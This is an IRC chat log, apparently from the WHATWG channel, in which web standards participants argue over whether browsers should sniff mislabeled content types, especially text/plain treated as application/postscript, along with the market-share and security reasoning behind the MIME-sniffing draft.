[17:13:03.0000] <Hixie>
what else would you cite? browser vendors aren't going to publish the data telling their competition why they are losing customers!

[17:14:00.0000] <masinter>
I mean, if there were any market research data, why cite the bug report?

[17:14:01.0000] <Hixie>
i don't think i've seen any of these numbers publicly

[17:14:02.0000] <masinter>
oh, well, you could cite "John Q. Product Manager, Personal Communication"

[17:14:03.0000] <jgraham>
masinter: I doubt the market research data mentions content type sniffing explicitly

[17:14:04.0000] <masinter>
jgraham: so you have any personal experience with content-type sniffing?

[17:15:00.0000] <masinter>
i was just looking at the table again, and noticing content-type sniffing for application/postscript

[17:15:01.0000] <jgraham>
masinter: It's not something I have worked on directly. So only the amount of experience you get by osmosis doing general browser QA

[17:15:02.0000] <masinter>
and trying to figure out why a user would switch browsers if the browser they were using wouldn't sniff application/postscript

[17:16:00.0000] <masinter>
i mean, since it doesn't help you any to sniff postscript, because most people don't have a postscript interpreter installed anyway

[17:16:01.0000] <Philip`>
If I clicked a link to a .ps file of an academic paper and got a load of gibberish text, I'd be pretty unhappy

[17:16:02.0000] <tantek>
masinter, perhaps Adobe could fund a development experiment to create a "conformant" (but real-world-web-site-content-breaking) browser (e.g. fork Moz or WebKit and rm all the compat behavior) and see if anyone bothered to use it as a primary browser.

[17:16:03.0000] <masinter>
so how does the market share loss argument (which is unsubstantiated) even apply for postscript?

[17:16:04.0000] <masinter>
so you'd want it to infer application/octet-stream?

[17:17:00.0000] <jgraham>
masinter: Well presumably the type of people looking at postscript documents have postscript interpreters installed

[17:17:01.0000] <masinter>
why are you making normative requirements based on presumptions?

[17:17:02.0000] <jgraham>
/me isn't doing anything

[17:18:00.0000] <masinter>
you don't support making content-type sniffing a normative requirement?

[17:18:01.0000] <jgraham>
Yes, but that's not what you said

[17:18:02.0000] <masinter>
ok, let's go break this down

[17:19:00.0000] <jgraham>
Or, at least, I assumed "making normative requirements" refered specifically to the postscript sniffing

[17:19:01.0000] <masinter>
do you support http://tools.ietf.org/html/draft-abarth-mime-sniff-01 and the HTML specification's normative reference to that as something HTML interpreters MUST follow?

[17:21:00.0000] <jgraham>
In general, yes. Possibly some details could be altered, I don't know

[17:22:00.0000] <masinter>
and, in particular, the requirement in section 3 that the 'sniffed type' for documents labeled text/plain should follow the sniffing algorithm such that data that looks like postscript MUST be treated as application/postscript, even though it is text/plain?

[17:22:01.0000] <masinter>
what justification is sufficient for altering details?

[17:23:00.0000] <jgraham>
http://blogs.msdn.com/ie/archive/2005/02/01/364581.aspx

[17:25:00.0000] <jgraham>
masinter: Details can be altered if a) they don't match current practice and implementors refuse to change to match the spec or b) there is a compelling (to implementors) case made that the detail can be changed without adversly affecting marketshare

[17:25:01.0000] <masinter>
yes, i read that blog but it doesn't answer my question about what you think the criteria is for following exactly what IE happened to do?

[17:26:00.0000] <masinter>
and how do you measure "adversely affecting marketshare"? 

[17:26:01.0000] <masinter>
i'm just wondering whether "compatibility" is taken as covering a multitude of sins where what was really asked for is much more limited

[17:26:02.0000] <jgraham>
masinter: That ballis in the court of those trying to change the details

[17:27:00.0000] <jgraham>
I don't know a-priori what arguments would be compelling to indicate that a specific change would not adversly affect compatibility

[17:28:00.0000] <masinter>
"ball is in the court" metaphor assumes some ownership of the court, doesn't it?

[17:29:00.0000] <jgraham>
(but obvious things would be studies indicating that a particular part of the sniffing did not apply to a significant number of pages)

[17:29:01.0000] <masinter>
after all, the internet draft doesn't match current practice, for good reason

[17:29:02.0000] <masinter>
well, since there's never been any evidence that anything besides text/plain => html matters, and even then, only for a limited number of sites

[17:30:00.0000] <masinter>
and since browser content-type sniffing isn't uniform anyway

[17:30:01.0000] <jgraham>
I guess you mean that you haven't come across the evidence.

[17:31:00.0000] <jgraham>
I would be very surprised if that was the case

[17:31:01.0000] <tantek>
masinter, do you have a test case URL that demonstrates non-uniform browser content-type sniffing?

[17:31:02.0000] <masinter>
i thought XML wasn't uniform

[17:31:03.0000] <tantek>
no XML is worse, it's draconian

[17:31:04.0000] <jgraham>
/me is going to bed now

[17:32:00.0000] <masinter>
looking for XML test case

[17:32:01.0000] <Hixie>
tantek: there are lots of areas of content-type sniffing that aren't uniform -- it leads to security bugs, it leads to an arms race increasing how much is sniffed, and it leads to a general low level of interop; that's why I, and now Adam, are trying to specify this.

[17:32:02.0000] <masinter>
tantek you think all browsers sniff XML from text/plain uniformly?

[17:32:03.0000] <Hixie>
tantek: we want to nail it does so that this kind of crap can be uniformly implemented and stop spreading like a cancer

[17:33:00.0000] <masinter>
yeah, i think you're looking at the wrong end of the telescope, and that every case of sniffing actually needs to be justified by "some users really care" rather than the general principle of "if IE did it, we're going to slavishly follow"

[17:34:00.0000] <masinter>
i think it's a bad idea to sniff PDF too, for that matter, although Adobe security just said it didn't matter to them much

[17:34:01.0000] <tantek>
which IE followed vaguely from "if Netscape did it, we're going to follow in order to not 'break' sites"

[17:34:02.0000] <da3d>
/me found a site earlier today that serves up an svg image as text/plain...

[17:34:03.0000] <tantek>
Hixie, I think your approach to this problem is reasonable.

[17:34:04.0000] <masinter>
but if something's labeled text/plain but looks like PDF it should still be treated as text/plain, because if the MIME type is broken, probably something else is too

[17:34:05.0000] <tantek>
/me would like to see a path forward out of the compat mess.

[17:35:00.0000] <masinter>
tantek: are you saying my approach is unreasonable?

[17:35:01.0000] <Hixie>
masinter: the doc adam is working on is so far removed from what IE does that your suggesting that it has any resemblence to it belies your ignorance of the subject

[17:35:02.0000] <masinter>
oh c'mon Hixie

[17:35:03.0000] <tantek>
masinter, no, I can see the reason behind your approach as well. but it's just less practical.

[17:35:04.0000] <masinter>
now you're gonna start calling me names

[17:35:05.0000] <masinter>
Jane, you ignorant ... etc.

[17:36:00.0000] <Hixie>
masinter: well, stop trying to troll us then

[17:36:01.0000] <masinter>
discussing a subject at your convenience is trolling?

[17:36:02.0000] <masinter>
everybody who disagrees with you is a troll?

[17:37:00.0000] <Hixie>
masinter: accusing us of following 'general principle of "if IE did it, we're going to slavishly follow"' is either ignorant or a troll. Which is it?

[17:37:01.0000] <masinter>
we spent quite a while at the TAG meeting talking about sniffing, and i thought it was worth just, you know, talking about it

[17:37:02.0000] <tantek>
How many people on the TAG have actually built and shipped a browser?

[17:37:03.0000] <masinter>
you don't make any provocative statements, do you?

[17:37:04.0000] <tantek>
(in this decade)

[17:37:05.0000] <tantek>
(not a rhetorical question)

[17:38:00.0000] <Hixie>
in #whatwg? i make provocative statements all the time :-)

[17:38:01.0000] <masinter>
i think it is a pretty irrelevant question, isn't it?

[17:39:00.0000] <tantek>
not at all, it's the difference between architectural handwaving and shipping software brutally tested by a market

[17:39:01.0000] <masinter>
oh, ok, 'slavishly' was wrong, how about 'without careful consideration of actual user benefit'?

[17:39:02.0000] <masinter>
tantek, are you saying the TAG does 'architectural handwaving'?

[17:39:03.0000] <tantek>
/me says this as someone who has done both (handwaving and shipping)

[17:39:04.0000] <masinter>
/me waves his hand to no effect

[17:39:05.0000] <Hixie>
masinter: seriously? you think we're ignoring the benefits of users?

[17:40:00.0000] <masinter>
no, i didn't say you were 'ignoring' it

[17:40:01.0000] <Philip`>
http://www.igmetall-eisenach.de/pressemitteilungen/pressemitteilung_29_08_05_14_07 doesn't look very good for me in Firefox

[17:40:02.0000] <Hixie>
masinter: what exactly do you think our motivations are? just to make the web a horrible place?

[17:40:03.0000] <masinter>
i'm just asking about the end user benefit of application/postscript?

[17:40:04.0000] <Hixie>
masinter: so you're saying we're incompetent?

[17:40:05.0000] <masinter>
oh c'mon

[17:40:06.0000] <Hixie>
we don't carefully consider stuff?

[17:40:07.0000] <masinter>
in this particular instance, i'm asking for the benefit of your careful consideration

[17:41:00.0000] <masinter>
what is, please, the end-user benefit of content-type sniffing application/postscript?

[17:41:01.0000] <Hixie>
no, you're just chain-accusing us of random evils

[17:41:02.0000] <masinter>
really, i came with a specific question about a specific use case

[17:41:03.0000] <Hixie>
i'm not interested in discussing technical work with people who go from insulting me to trying to act all innocent by asking technical questions

[17:41:04.0000] <masinter>
and i got platitudes about market share and who has shipped a browser

[17:42:00.0000] <masinter>
i'm not insulting you, and asking questions and criticizing the specification you wrote is not directed against you

[17:42:01.0000] <Hixie>
you're not insulting me? let's see. in the last 

[17:42:02.0000] <Hixie>
10, 20 minutes

[17:42:03.0000] <masinter>
no, i really am not

[17:42:04.0000] <Hixie>
you've said:

[17:42:05.0000] <Hixie>
* that's we're slavishly following a principle of "if IE did it, we're going to follow"

[17:43:00.0000] <Hixie>
* that we don't consider users carefully

[17:43:01.0000] <masinter>
well, read what the barth paper says

[17:43:02.0000] <Hixie>
* that we're giving you platitudes when we're giving you our actual reasoning

[17:43:03.0000] <masinter>
I didn't say that you didn't consider users in general, but i can't see it in the particular case

[17:43:04.0000] <masinter>
"Once one browser vendor implements content sniffing,

[17:43:05.0000] <masinter>
the other browser vendors are forced to follow suit or risk

[17:43:06.0000] <masinter>
losing market share"

[17:44:00.0000] <masinter>
how would you interpret that sentence, from http://www.adambarth.com/papers/2009/barth-caballero-song.pdf

[17:44:01.0000] <masinter>
once one browser vendor implements X, the other browser vendors are forced to follow suit

[17:44:02.0000] <masinter>
what is that ? Or do you think the paper is wrong?

[17:45:00.0000] <masinter>
now "one browser" doesn' mean Amaya, of course, it means the unmentionable Internet Exploder

[17:45:01.0000] <Hixie>
if you want to ask about something adam wrote, i recommend asking adam

[17:45:02.0000] <masinter>
so was this just academic hyperbole on Barth's part?

[17:46:00.0000] <masinter>
so you have no opinion about this logic? It isn't the justification for content-type sniffing?

[17:46:01.0000] <masinter>
when I asked about the content-type sniffing and research, it's the paper Adam pointed me to

[17:46:02.0000] <Hixie>
i've already given the justification for mime sniffing in this very conversation, let me repaste it:

[17:47:00.0000] <masinter>
i mean, we could go back to trading email but it's better just to talk this out, you take what i'm saying and make it personal

[17:47:01.0000] <Hixie>
<Hixie> there are lots of areas of content-type sniffing that aren't uniform -- it leads to security bugs, it leads to an arms race increasing how much is sniffed, and it leads to a general low level of interop; that's why I, and now Adam, are trying to specify this.

[17:47:02.0000] <Hixie>
i take what you're saying and make it personal when you insult my competence, yes

[17:49:00.0000] <masinter>
i'm not talking about you, i'm talking about specs and documents

[17:49:01.0000] <masinter>
and we're better off to focus on that, it was bad enough that mpilgrim wanted to tell me i was ugly

[17:49:02.0000] <Hixie>
saying that'we slavishly following things, saying that we write specs without "carefully considering user benefits", that's personal

[17:49:03.0000] <masinter>
wait, i was talking about this sentence in the barth draft

[17:49:04.0000] <masinter>
"forced to follow suit"? What is that?

[17:50:00.0000] <Hixie>
you mean his paper?

[17:50:01.0000] <masinter>
it wasn't about you or Adam, it was what "browser vendors" felt they were "compelled to do"

[17:50:02.0000] <masinter>
"slavishly follow" == "forced to follow suit"

[17:51:00.0000] <Hixie>
you just said slavishly follow was wrong!

[17:51:01.0000] <masinter>
i think that was legitimate english use that was not about you at all, it was about the presumption of what browser vendors felt they had to do

[17:51:02.0000] <Hixie>
now you're saying it's right?

[17:51:03.0000] <masinter>
no, the fact that browser vendors may believe they are forced to follow suite -- i don't dispute that they believe that

[17:52:00.0000] <Hixie>
but you said we were slavishly following IE

[17:52:01.0000] <Hixie>
which is completely wrong

[17:52:02.0000] <masinter>
i just think they are wrong, there are lots of things they could do besides "follow suit"

[17:52:03.0000] <masinter>
/me looks back

[17:52:04.0000] <masinter>
"yeah, i think you're looking at the wrong end of the telescope, and            that every case of sniffing actually needs to be justified by "some            users really care" rather than the general principle of "if IE did            it, we're going to slavishly follow"

[17:52:05.0000] <masinter>
that's what i said

[17:53:00.0000] <Hixie>
you also said "oh, ok, 'slavishly' was wrong"

[17:53:01.0000] <masinter>
and you assumed that i was talking about you having this general principle, but certainly it's clear you odn't

[17:53:02.0000] <Hixie>
let's start this conversation over because you've contradicted yourself so many times i no longer know what to ignore and what not to ignore

[17:53:03.0000] <Hixie>
hi larry, how are you? how can i help you today?

[17:53:04.0000] <masinter>
well, ok

[17:53:05.0000] <masinter>
what's the justification for sniffing application/postscript ?>

[17:54:00.0000] <masinter>
i know IE does it, and maybe some other browsers too, but there doesn't actually seem to be any end-user benefit, and potentially some harm instead

[17:54:01.0000] <masinter>
seems like a bad idea

[17:54:02.0000] <masinter>
well, i don't know that IE does it, i presume that

[17:55:00.0000] <masinter>
I'm assuming every bit of sniffing that IS done in draf-barth is becasue someone else already does it, and probably someone else = IE

[17:55:01.0000] <masinter>
is there a specific end-user benefit for that?

[17:55:02.0000] <Hixie>
I believe the justification for having sniffing for application/postscript in the spec is that when i created that table, I copied the algorithms in Mozills's codebase that were unambiguously beneficial to users.

[17:55:03.0000] <masinter>
how were they "unambigiously beneficial"?

[17:56:00.0000] <masinter>
since in this case the benefit seems mysterious

[17:56:01.0000] <Hixie>
(IE really has very little bearing on what the content-sniffing draft says, in practice, because we used what the other browsers found themselves forced to implement as a guide for what was actually necessary, and what was not)

[17:56:02.0000] <masinter>
i mean, just because someone implemented it in Mozilla doesn't mean it is unambiguously beneficial

[17:56:03.0000] <Hixie>
(IE basically ignores Content-Type 99% of the time, so following IE would basically mean throwing out most of the MIME mechanisms)

[17:57:00.0000] <masinter>
right? You're not assuming that "since Mozilla did it, it must be right", of course

[17:57:01.0000] <Hixie>
/me looks at adam's draft to make sure he's talking about the right table

[17:58:00.0000] <masinter>
"   I copied the algorithms in Mozills's codebase that were unambiguously         beneficial to users." -- how did you determine "unambiguously beneficial"?

[17:59:00.0000] <Hixie>
this sniffing is beneficial because if a user finds a page with no MIME type, or the MIME types unknown/unknown, application/unknown, or */*, or if the user loads a text/plain page that is clearly not text/plain (since it contains raw binary), and if the page is in fact a postscript page, it's more useful to show the postscript in an interpreted fashion than expose the user to the source of the file.

[17:59:01.0000] <Hixie>
in practice, in particular, users prefer browsers that allow them to print the resulting files, rather than show the source

[18:00:00.0000] <masinter>
what postscript interpreters to people have?

[18:00:01.0000] <Hixie>
and market research data (not published) shows this kind of thing (though not necessarily this specific case) is the #1 reason for users to switch browsers.

[18:00:02.0000] <masinter>
most operating systems don't come with postscript interpreters, and when people install them, the ones i've used -- most of them over the years -- don't do the right thing anyway

[18:01:00.0000] <masinter>
so trying to fire up something that isn't installed, or something that is installed and does the wrong thing -- how does that help anyone?

[18:01:01.0000] <Hixie>
generally, users specifically opting to view postscript pages have postscript interpreters, i would imagine (though this is not based on any hard data)

[18:01:02.0000] <Hixie>
it doesn't do the wrong thing, actually -- it will typically offer the file to be saved to disk

[18:01:03.0000] <Hixie>
which is reliably more useful to users than showing the content raw on the screen

[18:01:04.0000] <Philip`>
(I believe most Linuxes have PS interpreters by default)

[18:02:00.0000] <masinter>
do they, Philip?

[18:02:01.0000] <Philip`>
masinter: I believe so

[18:03:00.0000] <masinter>
i'm just interested in the "unambiguously beneficial" bit

[18:04:00.0000] <masinter>
the other example where type sniffing seems harmful is interpreting text/plain as text/xml even if it's mal-formed

[18:04:01.0000] <Hixie>
what would the benefit be of _not_ either offering the file to download or opening the file in a PS interpreter?

[18:04:02.0000] <Philip`>
(e.g. okular (KDE) and evince (Gnome) both support PDF and PS and some other formats)

[18:04:03.0000] <Hixie>
i don't believe text/plain is _ever_ sniffed as text/xml by adam's draft

[18:04:04.0000] <masinter>
it would be better to assume application/octet-stream than application/postscript

[18:04:05.0000] <Hixie>
that would be a security risk

[18:04:06.0000] <Hixie>
masinter: why?

[18:05:00.0000] <masinter>
because just because it starts with a few bytes of the header is no indication that the rest of the file is valid

[18:06:00.0000] <masinter>
it's a heuristic at best, and the consequences are ugly. at least with text/html you can View Source and see the original text/plain

[18:06:01.0000] <masinter>
and you're not turning text into application

[18:06:02.0000] <Hixie>
wait, which case are you talking about?

[18:06:03.0000] <masinter>
no, application/octet-stream is lower capability than text/plain

[18:06:04.0000] <masinter>
and much lower than application/postscript. It means that *no* automatic processing should happen

[18:06:05.0000] <Hixie>
text/plain containing binary being interpreted as application/postscript, you think that would be better interpreted as application/octet-stream?

[18:07:00.0000] <masinter>
better not being interpreted

[18:07:01.0000] <Hixie>
or...?

[18:07:02.0000] <masinter>
since application/octet-stream is the explicit "type unknown" mime type

[18:07:03.0000] <Hixie>
i'm not sure i understand what you're saying browsers should do and in what case

[18:08:00.0000] <masinter>
well, if we can agree that a change is in order because there's a problem, then working out the solution is next

[18:08:01.0000] <Hixie>
which case are you talking about?

[18:08:02.0000] <masinter>
there are a lot of ways in which browsers could respond to a heuristically determined server configuration error, only one of which is to automatically assume that because the heuristic triggered

[18:09:00.0000] <masinter>
well, i noticed application/postscript and thought it was worth understanding the justification for that in the current draft

[18:10:00.0000] <masinter>
i thought it was worth at least talking this out first, don't you? would you have preferred to wait for some formal objection with a line-by-line analysis first?

[18:10:01.0000] <Hixie>
so you're proposing that text/plain-labeled content, containing undisplayable binary and starting with the postscript signature, instead of being interpreted as application/postscript, would be better interpreted as application/octet-stream?

[18:10:02.0000] <Hixie>
i'm jsut trying to understand your proposal

[18:11:00.0000] <masinter>
i haven't made a proposal yet, and don't want to make one offhand

[18:11:01.0000] <Hixie>
oh. what did you mean by "it would be better to assume application/octet-stream than application/postscript" then?

[18:11:02.0000] <masinter>
well, that would be better, but i don't know if it would be best

[18:12:00.0000] <masinter>
it's worth examining what all of the alternatives are to the current proposed behavior before making a concrete proposal, isn't it?

[18:12:01.0000] <Hixie>
so you're saying that in your opinion, if the UA finds text/plain-labeled content containing undisplayable binary and starting with the postscript signature, it would be better (though maybe not best) if, instead of being interpreted as application/postscript, it was interpreted as application/octet-stream?

[18:13:00.0000] <masinter>
well, "interpreted as application/octet-stream" is pretty misleading

[18:13:01.0000] <masinter>
it would be better if no automatic interpretation were offered, and the user instead prompted to save the file

[18:14:00.0000] <othermaciej>
that's what "interpreted as application/octet-stream" amounts to in practice

[18:14:01.0000] <Hixie>
that's also what "interpreted as application/postscript" amounts to in practice, unless the user has a viewer, which i understand (based on masinter's comments) is not the common case

[18:14:02.0000] <masinter>
well, i think i understand that, not sure everyone who reads this dialog would know that for sure, and "rather than interpreting as X, interpret as Y" where X is the best guess -- sounds like an odd proposal

[18:15:00.0000] <Hixie>
oh i thought you said Y in this case was the better guess

[18:15:01.0000] <masinter>
well, and the possibility that Linux systems often have postscript interpreters, maybe Firefox on Linux does something interesting?

[18:16:00.0000] <masinter>
the only harm to users in not doing sniffing is that they always are offered to save the file without invoking the displayer automatically

[18:16:01.0000] <Hixie>
no, not at all

[18:16:02.0000] <Hixie>
in this case, not doing sniffing would mean showing the undisplayable binary content to the user

[18:16:03.0000] <masinter>
why is it undisplayable?

[18:16:04.0000] <masinter>
my emacs displays binary data just fine, and so does notepad

[18:17:00.0000] <Hixie>
the file in this example is "text/plain-labeled content containing undisplayable binary and starting with the postscript signature", that's the case we're talking about

[18:17:01.0000] <masinter>
yes, exactly

[18:17:02.0000] <masinter>
well, you're saying "undisplayable" and I think it is "ugly"

[18:17:03.0000] <masinter>
but most systems display it

[18:18:00.0000] <masinter>
and it might be a general heuristic about text/plain data with ugly (or undisaplayable) binary

[18:18:01.0000] <Hixie>
this only gets invoked with files containing control characters that are by definition invalid in text/plain

[18:18:02.0000] <othermaciej>
Safari has an inline PostScript viewer

[18:18:03.0000] <masinter>
/me fires up windows safari

[18:19:00.0000] <othermaciej>
not the Windows version

[18:19:01.0000] <othermaciej>
(yet, anyway)

[18:19:02.0000] <othermaciej>
Mac Safari displays PostScript and PDF files natively in the browser window (with ability to download or open in external viewer provided)

[18:20:00.0000] <masinter>
/me switches to mac

[18:20:01.0000] <othermaciej>
the reason I cite this is because, for Safari at least, sniffing as "application/octet-stream" vs "application/postscript" would result in significantly different behavior

[18:21:00.0000] <othermaciej>
contra Hixie's earlier remark

[18:22:00.0000] <Hixie>
iirc, the case larry was saying that not sniffing would be better for is the case where the signature is present but the file isn't postscript -- any idea how safari handles that case?

[18:22:01.0000] <othermaciej>
long ago, we would often display binary files labeled as text/plain in UglyText format

[18:22:02.0000] <othermaciej>
that's what we would do if we had no sniffing

[18:22:03.0000] <othermaciej>
users really really hated that behavior back when it happened frequently

[18:23:00.0000] <masinter>
i'm going through www-cdf.fnal.gov/offline/PostScript/

[18:23:01.0000] <othermaciej>
not only due to the ugly, but also because it was unclear to them how to actually download, and often because binary files would take forever to render as text and hog lots of memory

[18:23:02.0000] <Hixie>
othermaciej: yeah that matches my experience with other browsers

[18:24:00.0000] <othermaciej>
if we tried to view a file with the PostScript signature inline and it wasn't really PostScript, we would probably show a broken partial rendering, but would still offer the "download" and "open in external viewer" controls

[18:24:01.0000] <Hixie>
so a superset of treating it as larry suggested, as application/octet-stream?

[18:25:00.0000] <Hixie>
that seems better than just treating it as application/octet-stream

[18:25:01.0000] <othermaciej>
that amounts to treating it as application/postscript (though I'm not sure if we actually presently sniff for the PostScript signature)

[18:26:00.0000] <masinter>
/me is looking at MIME types

[18:27:00.0000] <othermaciej>
and yes, I think a broken attempt to render as PostScript is likely better than just downloading (a file that looks like a PostScript file but isn't, is most likely a damaged but perhaps still usable PostScript file)

[18:27:01.0000] <othermaciej>
and it is definitely better than a broken attempt to render as plain text

[18:28:00.0000] <masinter>
if a site misconfigures postscript and sends it as plain text, wouldn't they also send other binary data as plain text too?

[18:28:01.0000] <othermaciej>
probably

[18:28:02.0000] <masinter>
shar files, .double files, etc?

[18:28:03.0000] <masinter>
so those would show up as ugly text too?

[18:28:04.0000] <othermaciej>
I think the most common data types sent erroneously as plaintext are video files

[18:29:00.0000] <masinter>
unix binaries

[18:29:01.0000] <othermaciej>
I think the algorithm to detect unrenderable text would identify most of those things and treat them as "application/octet-stream"

[18:30:00.0000] <othermaciej>
(and thus cause them to download instead of displaying inline)

[18:30:01.0000] <masinter>
so not sniffing postscript wouldn't generate ugly text anyway

[18:31:00.0000] <Hixie>
if postscript were removed from that table, then the user would just get the "save as" dialog

[18:31:01.0000] <othermaciej>
that's right, it would be the difference between "download" and "attempt to display inline as PostScript, with a control available to download"

[18:31:02.0000] <masinter>
for mac safari users

[18:31:03.0000] <Hixie>
which i think is pretty unambiguously worse than having the choice between saving it or immediately viewing it

[18:31:04.0000] <othermaciej>
(assuming that sniffing for binary-looking stuff in text/plain was retained in general)

[18:32:00.0000] <masinter>
well, unless it isn't really postscript 

[18:32:01.0000] <Hixie>
in particular, for instance, users downloading videos are usually downloading porn they want to see right away, and are not trying to save them to disk

[18:32:02.0000] <masinter>
i was talking about postscript, not videos. are there video types in the table?

[18:32:03.0000] <Hixie>
not yet, but adam and i were talking about adding them

[18:32:04.0000] <Hixie>
since that would be a big help to users

[18:33:00.0000] <othermaciej>
I haven't personally seen content that looks like PostScript but isn't, to the degree that trying to render it as PostScript is actively harmful

[18:33:01.0000] <masinter>
i'm still puzzled by the market share justification

[18:33:02.0000] <masinter>
maybe it's just Adam & etc's choice of wording

[18:33:03.0000] <othermaciej>
the market share justification skips a few steps in the logic

[18:33:04.0000] <othermaciej>
here's the bottom line:

[18:34:00.0000] <othermaciej>
- Not having sniffing causes some sites not to work as users expect, often enough that browsers lacking sniffing noticed.

[18:34:01.0000] <masinter>
i'm not arguing there isn't a 'market share justification', just the quantifiers in the logic

[18:34:02.0000] <othermaciej>
- Users complain to browser vendors or switch browsers when sites don't work.

[18:34:03.0000] <othermaciej>
- Browser vendors believe that not providing adequate real-world compatibility hurts their market share.

[18:35:00.0000] <masinter>
does that make sense? You might justify that "some sniffing of some times are necessary if sites that require it are widely deployed and important to users, and the consequences of sniffing are egregious enough to be noticable"

[18:35:01.0000] <othermaciej>
I can tell you that Web site compatibility is still a big concern for Safari, even though we have been out for 8 years and have many major companies actively looking to support us.

[18:35:02.0000] <masinter>
yes, of course "Web site compatibility" is a big concern and i'm not doubt it

[18:35:03.0000] <othermaciej>
We spent most of our engineering effort over those 8 years fixing Web compatibility bugs.

[18:35:04.0000] <masinter>
i'm not doubting the steps of the logic, or your efforts

[18:36:00.0000] <Hixie>
that's not the bottom line, the bottom line is this: we tried requiring that UAs not browser sniff for 19 years, and the result was that the requirement was ignored.

[18:36:01.0000] <othermaciej>
Our Product Marketing still cites it as a very important area for users.

[18:36:02.0000] <masinter>
no, that's hardly the bottom line of anything

[18:36:03.0000] <Hixie>
so now we're trying to mitigate the damage by saying how it should be done

[18:36:04.0000] <Hixie>
that is the only reason i'm doing this

[18:36:05.0000] <Hixie>
i want interop

[18:36:06.0000] <masinter>
for 19 years we've had "browser wars" where browser vendors went out of their way to encourage behavior differences and paid people to put up "best viewed by IE/Netscape" badges

[18:36:07.0000] <othermaciej>
I can stand behind those statements, but I don't think I can prove that removing sniffing specifically would have a large effect on market share.

[18:37:00.0000] <othermaciej>
we haven't really done heads-up A/B experiments of sniffing and not sniffing to see how many more users switch to other browsers, or how many fewer adopt Safari

[18:37:01.0000] <Hixie>
masinter: and is that going to change?

[18:37:02.0000] <othermaciej>
we are not inclined to do that level of investigation

[18:37:03.0000] <masinter>
i appreciate your efforts, but i don't think it's insulting you to question some of the conclusions you've come to

[18:38:00.0000] <Hixie>
you haven't insulted me since we restarted the conversation, indeed

[18:38:01.0000] <Hixie>
but do you think the browser wars are going to end?

[18:38:02.0000] <othermaciej>
the browser wars are currently escalating, not cooling down

[18:38:03.0000] <masinter>
i hope they will but i don't understand why they would

[18:38:04.0000] <othermaciej>
fortunately, all the major browser vendors seem to see interoperability as more in their interest than proprietary author-targeted features

[18:39:00.0000] <Hixie>
masinter: well, if the browser wars are the reason the requirement to not sniff was ignored, and we have no reason to think they would stop other than hope, i respectfully suggest we should go with the working assumption that for the forseeable future, the requirement not to sniff will continue to be ignored

[18:40:00.0000] <masinter>
oh hmm, well someone started this trend

[18:40:01.0000] <masinter>
I mean, someone was first in sniffing, and the other browser vendors followed suit, right?

[18:40:02.0000] <Hixie>
they long ago became millionaires and retired

[18:41:00.0000] <masinter>
well, what about sniffing video?

[18:41:01.0000] <masinter>
nobody would put up a site with videos labeled as text/plain if it didn't work in SOME browser

[18:42:00.0000] <masinter>
and the people who built the browser that sniffed video -- are they all millionaires and retired?

[18:42:01.0000] <Hixie>
probably, i believe that would be the IE team

[18:42:02.0000] <Hixie>
they sniff pretty much everything

[18:43:00.0000] <masinter>
well, so... are there a lot of postscript files mislabeled as text/plain?

[18:44:00.0000] <masinter>
maybe  a list of 3-4 examples?

[18:44:01.0000] <Hixie>
no idea off-hand

[18:44:02.0000] <Hixie>
i don't really see any harm in sniffing in the case where the mime type is absent altogether

[18:44:03.0000] <Hixie>
in fact, iirc that's what http suggests doing

[18:44:04.0000] <masinter>
it says MAY not MUST

[18:45:00.0000] <Hixie>
sure, so does adam's draft

[18:45:01.0000] <masinter>
i don't think it says SHOULD, lemme check

[18:45:02.0000] <masinter>
well, unless it's an escallation

[18:45:03.0000] <masinter>
but almost everything is an escalation

[18:45:04.0000] <masinter>
i mean, if you have a buggy jpeg implementation, jpeg is an escalation

[18:46:00.0000] <Hixie>
and the text/plain-content-with-binary-data case is basically the same as there being no type -- you have something you know isn't text/plain, so the choice is between treating it as just unknown, or treating it as something known but not text/plain

[18:46:01.0000] <masinter>
sniffing could even be site-by-site with a table of well-known broken sites, and sniffing prompting

[18:46:02.0000] <Hixie>
which is the same as when you have something unknown because it has no type -- the choice then is between treating it as just unknown, or treating it as something known

[18:47:00.0000] <masinter>
i've started getting warnings about bad certificates

[18:47:01.0000] <masinter>
which i never got before

[18:47:02.0000] <masinter>
no, text/plain content with binary data is different from there being no type, by a long shot

[18:47:03.0000] <Hixie>
well, yes, in that the default behaviour is worse, sure

[18:48:00.0000] <masinter>
if it's mislabeled, it's a warning to be suspicious about other things

[18:48:01.0000] <masinter>
Hixie: you quoted something i said as if it were really wrong, about how matching reality is sometimes not the most important goal

[18:49:00.0000] <masinter>
but sometimes reality sucks, and trying to match it isn't nearly as good as trying to fix it

[18:49:01.0000] <Hixie>
surely the goal of any spec is to have the spec and reality match, however that happens

[18:49:02.0000] <masinter>
sometimes reality is insecure, divergent, broken, crashing, giving bad experiences, etc.

[18:50:00.0000] <masinter>
well, you know, there's leadership: sometimes you have to propose something that vendors jointly agree to do even if none of them would do it if the others didn't agree

[18:50:01.0000] <masinter>
certainly all of the new stuff is in that category -- nobody's implemented it before it was proposed

[18:52:00.0000] <masinter>
etc. ... insecure, not international, inconsistent with other software that you also want to interoperate with, there are performance difficulties, not accessible, .... there's a long list of ways in which the community actually needs to be led out of local minima

[18:53:00.0000] <masinter>
i think the difference is really how long you're willing to wait

[18:53:01.0000] <othermaciej>
the sites with a lot of mislabeled content tend to be in the "long tail"

[18:53:02.0000] <othermaciej>
so listing them is not practical, but nontheless they do have a significant user impact

[18:53:03.0000] <masinter>
i didn't say list them all, just give some examples

[18:54:00.0000] <masinter>
i read several suggestions in the history about asking users "This site seems to mislabel images, want me to try to show them anyway?"

[18:54:01.0000] <masinter>
and then remembering that on a site-by-site basis

[18:55:00.0000] <Hixie>
when would a user say "no"?

[18:55:01.0000] <othermaciej>
you suggested "a table of well-known broken sites", it was not clear to me that this was as an example rather than as a restriction on sniffing

[18:55:02.0000] <masinter>
i mean, after all, people are sending their sites to google every time they go to a new page

[18:55:03.0000] <masinter>
oh sorry, Maciej, you're right, i made two suggestions

[18:55:04.0000] <masinter>
you could seed the user's configuration

[18:55:05.0000] <othermaciej>
It seems to me that citing live Web content for examples of particular practices is a bad idea, since it's likely to change

[18:56:00.0000] <masinter>
well, this would be "site's i'm willing to let you sniff"

[18:56:01.0000] <masinter>
it would apply back-pressure, if the sites were maintained, to fix them

[18:56:02.0000] <othermaciej>
then such a seed list would not work well for my cited "long tail" reason

[18:57:00.0000] <Hixie>
masinter: btw, do you agree with the statement "the goal of any spec is to have the spec and reality match, however that happens"? it wasn't clear if you were agreeing or not, above.

[18:57:01.0000] <masinter>
there are numerous web applications that aren't browsers and don't have the 'market share' argument that would be better off if sniffing weren't a requirement

[18:57:02.0000] <masinter>
